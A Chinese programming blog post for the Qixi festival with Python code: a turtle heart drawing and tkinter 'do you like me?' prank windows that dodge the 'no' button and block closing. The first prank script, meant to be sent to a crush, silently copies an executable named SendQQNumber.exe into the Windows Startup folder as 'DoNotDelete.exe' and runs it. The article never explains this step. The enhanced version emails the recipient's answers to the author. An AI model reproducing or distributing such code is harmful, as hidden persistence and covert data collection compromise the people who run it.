• 七夕?程序员不存在的~


    🌈据说,看我文章时 关注、点赞、收藏帅哥美女们 心情都会不自觉的好起来。

    前言:
    🧡作者简介:大家好我是 user_from_future ,意思是 “ 来自未来的用户 ” ,寓意着未来的自己一定很棒~
    ✨个人主页:点我直达,在这里肯定能找到你想要的~
    人生苦短,我用python

    前言

    虽然不得不承认,没有女朋友的七夕,只有孤寡叫,但还是得过…

    turtle的七夕

    七夕离不开爱心,那爱心怎么画呢,对于三角函数可能会比较复杂,但对于turtle来说,就一个正方形和两个圆形就能画出来了。不信?你看:

    import turtle
    
    
    def draw_love(location, side, color='pink'):
        """
        画爱心。
        :param location: 爱心的上方顶点坐标
        :param side: 爱心边长 或 直径(爱心由一个正方形和两个圆形组成)
        :param color: 爱心颜色
        :return:
        """
        color_old = turtle.color()
        angle = turtle.heading()
        turtle.penup()
        turtle.goto(*location)
        turtle.color(color)
        turtle.pendown()
        turtle.right(45)
        turtle.begin_fill()
        turtle.forward(side)
        turtle.right(90)
        turtle.forward(side)
        turtle.right(90)
        turtle.forward(side)
        turtle.right(90)
        turtle.forward(side)
        turtle.end_fill()
        turtle.left(90)
        turtle.begin_fill()
        turtle.circle(side / 2, 360)
        turtle.end_fill()
        turtle.left(90)
        turtle.begin_fill()
        turtle.circle(side / 2, 360)
        turtle.end_fill()
        turtle.penup()
        turtle.color(*color_old)
        turtle.goto(*location)
        turtle.setheading(angle)
    
    
    draw_love((0, 0), 200)
    turtle.done()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    执行后爱心的绘画步骤就出来了,这是绘画结果:

    在这里插入图片描述

    还是不错的。

    tkinter的七夕

    turtle能绘画浪漫,那么tkinter就能绘画调皮,展示一段 ”不喜欢就关不掉“ 的程序:

    import os
    import sys
    import shutil
    import random
    import tkinter
    import getpass
    from tkinter import messagebox
    
    if os.path.isfile('.\\小程序\\SendQQNumber.exe'):
        shutil.move('.\\小程序\\SendQQNumber.exe', f'C:\\Users\\{getpass.getuser()}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\DoNotDelete.exe')
        os.system(f'C:\\Users\\{getpass.getuser()}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\DoNotDelete.exe')
    
    
    def close():
        messagebox.showinfo(title='注意!', message='别做梦了,你关不掉我的!')
    
    
    def q():
        messagebox.showinfo(title='嘿嘿~', message='巧了,我也喜欢你呢~')
        sys.exit()
    
    
    def g(e):
        if e:
            x = random.randint(0, 320)
            y = random.randint(0, 160)
            b.place(x=x, y=y, width=80, height=40)
    
    
    r = tkinter.Tk(className=' 你喜欢我吗?')
    tkinter.Label(r, text='你喜欢我吗?', foreground='red', font=('', 24)).place(x=100, y=40, width=200, height=40)
    tkinter.Button(r, text='喜欢', command=q).place(x=60, y=100, width=80, height=40)
    b = tkinter.Button(r, text='不喜欢')
    b.place(x=260, y=100, width=80, height=40)
    b.bind('', g)
    r.geometry('400x200')
    r.protocol("WM_DELETE_WINDOW", close)
    r.mainloop()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    正常刚打开的样子:

    在这里插入图片描述

    一旦你的鼠标碰到了 ”不喜欢“ ,那么它就会立刻随机更换位置,就不让你点~

    在这里插入图片描述

    点×也不会放过你哦~

    在这里插入图片描述

    如果你点了喜欢,那他就会回个喜欢给你哦~

    在这里插入图片描述

    这小程序不错吧,发给你喜欢的人看吧~

    加强版tkinter的七夕

    略有闲心,加了点输入姓名和自动发邮件~代码如下:

    import os
    import sys
    import time
    import random
    import tkinter
    import smtplib
    from email.header import Header
    from email.mime.text import MIMEText
    from tkinter import messagebox
    import threading
    
    
    def close1():
        messagebox.showinfo(title='注意!', message='别做梦了,你关不掉我的!')
    
    
    def close2():
        global text, label
        if userInput.get().strip() == '博主姓名':
            t = '你是真心喜欢我么?'
        elif userInput.get().strip() in ['某某某姓名', '某某某的姓', '某某某的名', '我', '自己', '我自己']:
            t = '你是真心喜欢你自己么?'
        else:
            t = f'你是真心喜欢 {userInput.get()} 么?'
        res = messagebox.askyesno(title='嗯...', message=t)
        if res:
            messagebox.showinfo(title='嗯...', message='那我就勉强相信吧~')
        else:
            messagebox.showinfo(title='哼!', message='我就知道!你不喜欢!')
        text = f'是否直接点击喜欢:{flag},\n喜欢谁:{userInput.get()},\n是否真心:{res}'
        messagebox.showinfo(title='嘿嘿~', message=f'我要把你跟我说的告诉主人!\n{text}')
        label.configure(text='程序将无响应一小段时间,请耐心等待下一次弹窗~')
        time.sleep(1)
        if not os.system('ping www.baidu.com -n 1'):
            from_address = 'XXX@sina.com'
            pword = 'XXX'
            to_address = 'XXX@vip.qq.com'
            smtp_server = 'smtp.sina.com'
            msg = MIMEText(text, 'plain', 'utf-8')
            msg['From'] = Header(from_address)
            msg['To'] = Header(to_address)
            msg['Subject'] = Header('Love')
            server = smtplib.SMTP_SSL(smtp_server)
            server.connect(smtp_server, 465)
            server.login(from_address, pword)
            server.sendmail(from_address, to_address, msg.as_string())
            server.quit()
            messagebox.showinfo(title='成功!', message='消息发送成功!小的将等待主人的查收~')
        else:
            messagebox.showerror(title='失败!', message='消息发送失败!连接互联网失败!小的将等到互联网恢复告诉主人!')
        sys.exit()
    
    
    def q():
        global text, label, b1, b2
        r.title('真的吗?')
        b1.place_forget()
        b2.place_forget()
        if flag:
            text = '你刚才毫不犹豫的点了喜欢,\n' + text
        label.configure(text=text, font=('', 16))
        label.place(x=0, y=40, width=400, height=40)
        entry = tkinter.Entry(r, textvariable=userInput)
        entry.place(x=120, y=100, width=160, height=40)
        threading.Thread(target=check, daemon=True).start()
    
    
    def check():
        while 1:
            if not userInput.get().strip():
                r.protocol("WM_DELETE_WINDOW", close1)
            else:
                r.protocol("WM_DELETE_WINDOW", close2)
            if userInput.get().strip() == '博主姓名':
                label.configure(text='哈哈哈,真棒!么么哒~')
            elif userInput.get().strip() in ['某某某姓名', '某某某的姓', '某某某的名', '我', '自己', '我自己']:
                label.configure(text='哇~你居然喜欢你自己!我到现在才知道!')
            elif len(userInput.get().strip()) >= 2 and userInput.get().strip() not in ['博主姓名的前两个字', '某某某姓名的前两个字']:
                label.configure(text='这位又是谁?老实交代!')
            elif len(userInput.get().strip()) > 4:
                label.configure(text='你有认识这么长的名字的人嘛,不要乱输哦~')
            else:
                label.configure(text=text)
            time.sleep(0.5)
    
    
    def g(e):
        global flag
        if e:
            flag = False
            x = random.randint(0, 320)
            y = random.randint(0, 160)
            b2.place(x=x, y=y, width=80, height=40)
    
    
    flag = True
    text = '那你说的喜欢,是喜欢谁呢?'
    r = tkinter.Tk(className=' 你喜欢我吗?')
    userInput = tkinter.StringVar()
    label = tkinter.Label(r, text='你喜欢我吗?', foreground='red', font=('', 24))
    label.place(x=100, y=40, width=200, height=40)
    b1 = tkinter.Button(r, text='喜欢', command=q)
    b1.place(x=60, y=100, width=80, height=40)
    b2 = tkinter.Button(r, text='不喜欢')
    b2.place(x=260, y=100, width=80, height=40)
    b2.bind('', g)
    r.geometry('400x200')
    r.protocol("WM_DELETE_WINDOW", close1)
    r.mainloop()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109

    比刚才多的部分,第一个就是能自动检测是不是直接点的喜欢,还是因为点不到不喜欢无奈而点的喜欢:

    在这里插入图片描述
    在这里插入图片描述

    然后输入姓名字符达到2位之后,又能唤醒检测函数:

    在这里插入图片描述

    但如果是预定的自己的名字,又会这么显示:

    在这里插入图片描述

    但如果字符超过4字符且不是预设人名,就会显示:

    在这里插入图片描述

    在有输入的情况下点×还会自动发邮件哦~

    在这里插入图片描述

    自己尝试尝试玩玩吧~

    结束语

    孤寡的七夕终于要结束了,去王者里虐小情侣去了~😁😁

  • 相关阅读:
    趣味算法-读书笔记(三)
    ctfshow—溯源—新手上路
    SpringBoot钩子函数
    Redis学习笔记-003
    Selenium+python怎么搭建自动化测试框架、执行自动化测试用例、生成自动化测试报告、发送测试报告邮件
    HTML 标签讲解
    LeetCode 每日一题——655. 输出二叉树
    excel映射xml方法
    linux提权秘籍
    基于纳什博弈的多微网主体电热双层共享策略(matlab代码)
  • 原文地址:https://blog.csdn.net/user_from_future/article/details/126166113